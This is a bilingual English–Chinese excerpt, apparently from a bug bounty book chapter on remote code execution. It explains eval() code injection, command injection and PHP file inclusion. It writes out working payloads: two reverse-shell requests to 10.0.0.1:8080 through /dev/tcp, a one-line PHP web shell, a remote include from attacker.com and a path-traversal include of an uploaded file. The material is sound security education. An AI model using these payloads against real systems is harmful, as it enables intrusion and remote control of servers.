- The Guide to Finding and Reporting Web Vulnerabilities
- About the Author
- About the Tech Reviewer
- Foreword
- Introduction
- Who This Book Is For
- What Is In This Book
- Happy Hacking!
- 1 Picking a Bug Bounty Program
- 2 Sustaining Your Success
- 3 How the Internet Works
- 4 Environmental Setup and Traffic Interception
- 5 Web Hacking Reconnaissance
- 6 Cross-Site Scripting
- 7 Open Redirects
- 8 Clickjacking
- 9 Cross-Site Request Forgery
- 10 Insecure Direct Object References
- 11 SQL Injection
- 12 Race Conditions
- 13 Server-Side Request Forgery
- 14 Insecure Deserialization
- 15 XML External Entity
- 16 Template Injection
- 17 Application Logic Errors and Broken Access Control
- 18 Remote Code Execution
- 19 Same-Origin Policy Vulnerabilities
- 20 Single-Sign-On Security Issues
- 21 Information Disclosure
- 22 Conducting Code Reviews
- 23 Hacking Android Apps
- 24 API Hacking
- 25 Automatic Vulnerability Discovery Using Fuzzers
Mechanisms
Sometimes attackers can achieve RCE by injecting malicious code directly into executed code. These are code injection vulnerabilities . Attackers can also achieve RCE by putting malicious code into a file executed or included by the victim application, vulnerabilities called file inclusions .
有时攻击者可以通过将恶意代码直接注入执行代码来实现 RCE。这些是代码注入漏洞。攻击者还可以通过将恶意代码放置在被受害应用程序执行或包含的文件中实现 RCE,这些漏洞称为文件包含。
Code Injection
Code injection vulnerabilities happen when applications allow user input to be confused with executable code. Sometimes this happens unintentionally, when applications pass unsanitized data into executed code; other times, this is built into the application as an intentional feature.
当应用程序允许用户输入与可执行代码混淆时,就会发生代码注入漏洞。有时,当应用程序将未经过滤的数据传入执行的代码时,这种情况是无意的;而其他时候,这是应用程序中有意的一个功能。
For example, let’s say you’re a developer trying to build an online calculator. Python’s eval()
function accepts a string and executes it as Python code: eval("1+1")
would return 2
, and eval("1*3")
would return 3
. Because of its flexibility in evaluating a wide variety of user-submitted expressions, eval()
is a convenient way of implementing your calculator. As a result, say you wrote the following Python code to perform the functionality. This program will take a user-input string, pass it through eval()
, and return the results:
例如,假设你是一位开发者试图构建一个在线计算器。Python 的 eval() 函数接受一个字符串并将其作为 Python 代码执行:eval("1+1") 会返回 2,eval("1*3") 会返回 3。由于其在评估各种用户提交的表达式方面的灵活性,eval() 是实现计算器的便捷方式。因此,假设你编写了以下 Python 代码来执行功能。此程序将接受用户输入的字符串,通过 eval() 进行传递,并返回结果。
def calculate(input):
return eval("{}".format(input))
result = calculate(user_input.calc)
print("The result is {}.".format(result))
Users can send operations to the calculator by using the following GET request. When operating as expected, the following user input would output the string The result is 3
:
用户可以通过以下 GET 请求向计算器发送操作。当操作按预期进行时,以下用户输入将输出字符串“结果为 3:”。
GET /calculator?calc=1+2
Host: example.com
But since eval()
in this case takes user-provided input and executes it as Python code, an attacker could provide the application with something more malicious instead. Remember Python’s os.system()
command from Chapter 16 , which executes its input string as a system command? Imagine an attacker submitted the following HTTP request to the calculate()
function:
但是,由于在这种情况下 eval() 接受用户提供的输入并将其作为 Python 代码执行,攻击者可能会提供更加恶意的内容给应用程序。还记得第 16 章中介绍的 Python 的 os.system() 命令吗?它会将其输入字符串作为系统命令执行。想象一下,如果攻击者向 calculate() 函数提交了以下 HTTP 请求:
GET /calculator?calc="__import__('os').system('ls')"
Host: example.com
As a result, the program would execute eval("__import__('os').system('ls')")
and return the results of the system command ls
. Since eval()
can be used to execute arbitrary code on the system, if you pass unsanitized user-input into the eval()
function, you have introduced a code injection vulnerability to your application.
因此,该程序将执行 eval("__import__('os').system('ls')") 并返回系统命令 ls 的结果。由于 eval() 可以用于在系统上执行任意代码,如果将未经过滤的用户输入传递到 eval() 函数中,就会为应用程序引入代码注入漏洞。
The attacker could also do something far more damaging, like the following. This input would cause the application to call os.system()
and spawn a reverse shell back to the IP 10.0.0.1 on port 8080:
攻击者还可以进行更具破坏性的操作,比如以下内容。这个输入会导致应用程序调用 os.system() 函数,在端口 8080 上产生一个反向 shell 回到 10.0.0.1 的 IP 地址。
GET /calculator?calc="__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')"
Host: example.com
A reverse shell makes the target server communicate with the attacker’s machine and establish a remotely accessible connection allowing attackers to execute system commands.
一个反向 shell 使目标服务器与攻击者的计算机通信并建立一个远程可访问的连接,使攻击者能够执行系统命令。
Another variant of code injection occurs when user input is concatenated directly into a system command. This is also called a command injection vulnerability . Aside from happening in web applications, command injections are also incredibly prevalent in embedded web applications because of their dependency on shell commands and frameworks using wrappers that execute shell commands.
当用户输入直接连接到系统命令时,会发生另一种代码注入变体。这也被称为命令注入漏洞。除了在 Web 应用程序中发生外,命令注入在嵌入式 Web 应用程序中也非常普遍,因为它们依赖于 Shell 命令和使用执行 Shell 命令的包装器的框架。
Let’s say example.com also has a functionality that allows you to download a remote file and view it on the website. To achieve this functionality, the application uses the system command wget
to download the remote file:
假设 example.com 也具有一个功能,允许您在网站上下载远程文件并查看。为了实现这个功能,应用程序使用系统命令 wget 来下载远程文件。
import os
def download(url):
os.system(" wget -O- {}".format(url))
display(download(user_input.url))
The wget
command is a tool that downloads web pages given a URL, and the -O-
option makes wget
download the file and display it in standard output. Put together, this program takes a URL from user input and passes it into the wget
command executed using os.system()
. For example, if you submit the following request, the application would download the source code of Google’s home page and display it to you:
"wget" 命令是一个工具,可以通过给定 URL 下载网页。而 "-O-" 选项使 wget 下载文件并将其显示在标准输出中。综合起来,该程序将用户输入的 URL 传递给 os.system() 执行的 wget 命令。例如,如果您提交以下请求,应用程序将下载 Google 主页的源代码并将其显示给您:
GET /download?url=google.com
Host: example.com
Since the user input is passed into a system command directly, attackers could inject system commands without even using a Python function. That’s because, on the Linux command line, the semicolon ( ;
) character separates individual commands, so an attacker could execute arbitrary commands after the wget
command by submitting whatever command they want after a semicolon. For instance, the following input would cause the application to spawn a reverse shell back to the IP 10.0.0.1 on port 8080:
由于用户输入直接传递到系统命令中,攻击者甚至可以在不使用 Python 函数的情况下注入系统命令。这是因为,在 Linux 命令行上,分号(;)字符将单个命令分隔开,因此攻击者可以在分号后提交所需的任何命令,以执行任意命令。例如,以下输入将使应用程序在端口 8080 上向 IP 10.0.0.1 反向生成 shell:
GET /download?url="google.com;bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
Host: example.com
File Inclusion
Most programming languages have functionality that allows developers to include external files to evaluate the code contained within it. This is useful when developers want to incorporate external asset files like images into their applications, make use of external code libraries, or reuse code that is written for a different purpose.
大多数编程语言都具有功能,允许开发人员包含外部文件以评估其中包含的代码。当开发人员希望将外部资产文件如图像合并到应用程序中,利用外部代码库或重用为不同目的编写的代码时,这非常有用。
Another way attackers can achieve RCE is by making the target server include a file containing malicious code. This file inclusion vulnerability has two subtypes: remote file inclusion and local file inclusion.
攻击者可以通过使目标服务器包含恶意代码的文件来实现 RCE 的另一种方式。这种文件包含漏洞有两种子类型:远程文件包含和本地文件包含。
Remote file inclusion vulnerabilities occur when the application allows arbitrary files from a remote server to be included. This happens when applications dynamically include external files and scripts on their pages and use user input to determine the location of the included file.
远程文件包含漏洞发生在应用程序允许从远程服务器包含任意文件的情况下。当应用程序在其页面上动态包含外部文件和脚本并使用用户输入确定所包含文件的位置时,就会发生这种情况。
To see how this works, let’s look at a vulnerable application. The following PHP program calls the PHP include
function on the value of the user-submitted HTTP GET parameter page
. The include
function then includes and evaluates the specified file:
为了了解这个如何工作,让我们来看一个易受攻击的应用程序。以下的 PHP 程序通过值为用户提交的 HTTP GET 参数“page”的 PHP include 函数来调用。然后,include 函数将包括并评估指定的文件:
<?php
// Some PHP code
$file = $_GET["page"];
include $file;
// Some PHP code
?>
This code allows users to access the various pages of the website by changing the page
parameter. For example, to view the site’s Index and About pages, the user can visit http://example.com/?page=index.php and http://example.com/?page=about.php , respectively.
该代码允许用户通过更改页面参数来访问网站的各个页面。例如,要查看网站的主页和关于页面,用户可以分别访问 http://example.com/?page=index.php 和 http://example.com/?page=about.php。
But if the application doesn’t limit which file the user includes with the page
parameter, an attacker can include a malicious PHP file hosted on their server and get that executed by the target server.
如果应用程序不限制用户使用页面参数包含的文件,攻击者可以在其服务器上包含恶意 PHP 文件并通过目标服务器执行它。
In this case, let’s host a PHP page named malicious.php that will execute the string contained in the URL GET parameter cmd
as a system command. The system()
command in PHP is similar to os.system()
in Python. They both execute a system command and display the output. Here is the content of our malicious PHP file:
在这种情况下,让我们托管一个名为 malicious.php 的 PHP 页面,该页面将执行 URL GET 参数 cmd 中包含的字符串作为系统命令。 PHP 中的 system()命令类似于 Python 中的 os.system()。它们都执行系统命令并显示输出。以下是我们恶意 PHP 文件的内容:
<?PHP
system($_GET["cmd"]);
?>
If the attacker loads this page on example.com , the site will evaluate the code contained in malicious.php located on the attacker’s server. The malicious script will then make the target server execute the system command ls
:
如果攻击者在 example.com 上加载此页面,则该站点将评估包含在攻击者服务器上的恶意.php 中的代码。 恶意脚本然后将使目标服务器执行系统命令 ls。
http://example.com/?page=http://attacker.com/malicious.php?cmd=ls
Notice that this same feature is vulnerable to SSRF and XSS too. This endpoint is vulnerable to SSRF because the page could load info about the local system and network. Attackers could also make the page load a malicious JavaScript file and trick the user into clicking it to execute a reflected XSS attack.
请注意,相同的功能也容易受到 SSRF 和 XSS 的攻击。此端点易受 SSRF 攻击,因为页面可以加载有关本地系统和网络信息的页面。攻击者还可以让页面加载恶意 JavaScript 文件,并诱使用户单击它以执行反射性 XSS 攻击。
On the other hand, local file inclusions happen when applications include files in an unsafe way, but the inclusion of remote files isn’t allowed. In this case, attackers need to first upload a malicious file to the local machine, and then execute it by using local file inclusion. Let’s modify our previous example a bit. The following PHP file first gets the HTTP GET parameter page
and then calls the PHP include
function after concatenating page
with a directory name containing the files users can load:
另一方面,本地文件包含是指应用程序以不安全的方式包含文件,但不允许包含远程文件。 在这种情况下,攻击者需要首先将恶意文件上传到本地计算机,然后使用本地文件包含来执行它。 让我们稍微修改一下之前的示例。 以下 PHP 文件首先获取 HTTP GET 参数 page,然后在将 page 与包含用户可加载的文件的目录名称连接后调用 PHP include 函数:
<?php
// Some PHP code
$file = $_GET["page"];
include "lang/".$file;
// Some PHP code
?>
The site’s lang directory contains its home page in multiple languages. For example, users can visit http://example.com/?page=de-index.php and http://example.com/?page=en-index.php to visit the German and English home pages, respectively. These URLs will cause the website to load the page /var/www/html/lang/de-index.php and /var/www/html/lang/en-index.php to display the German and English home pages.
该网站的 lang 目录包含多种语言的主页。例如,用户可以访问 http://example.com/?page=de-index.php 和 http://example.com/?page=en-index.php 分别访问德语和英语主页。这些 URL 将导致网站加载页面 /var/www/html/lang/de-index.php 和 /var/www/html/lang/en-index.php 来显示德语和英语主页。
In this case, if the application doesn’t place any restrictions on the possible values of the page
parameter, attackers can load a page of their own by exploiting an upload feature. Let’s say that example.com allows users to upload files of all file types, then stores them in the /var/www/html/uploads/USERNAME directory. The attacker could upload a malicious PHP file to the uploads folder. Then they could use the sequence ../
to escape out of the lang directory and execute the malicious uploaded file on the target server:
如果应用程序不对页面参数的可能值施加任何限制,攻击者可以通过利用上传功能来加载自己的页面。例如,example.com 允许用户上传所有文件类型,然后将它们存储在/var/www/html/uploads/用户名目录中。攻击者可以将恶意的 PHP 文件上传到上传文件夹中。然后他们可以使用../序列从 lang 目录中逃脱并在目标服务器上执行恶意上传的文件。
http://example.com/?page=../uploads/USERNAME/malicious.php
If the attacker loads this URL, the website will include the file /var/www/html/lang/../uploads/USERNAME/malicious.php , which points to /var/www/html/uploads/USERNAME/malicious.php .
如果攻击者加载此 URL,则网站将包含文件/var/www/html/lang/../uploads/USERNAME/malicious.php,该文件指向/var/www/html/uploads/USERNAME/malicious.php。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论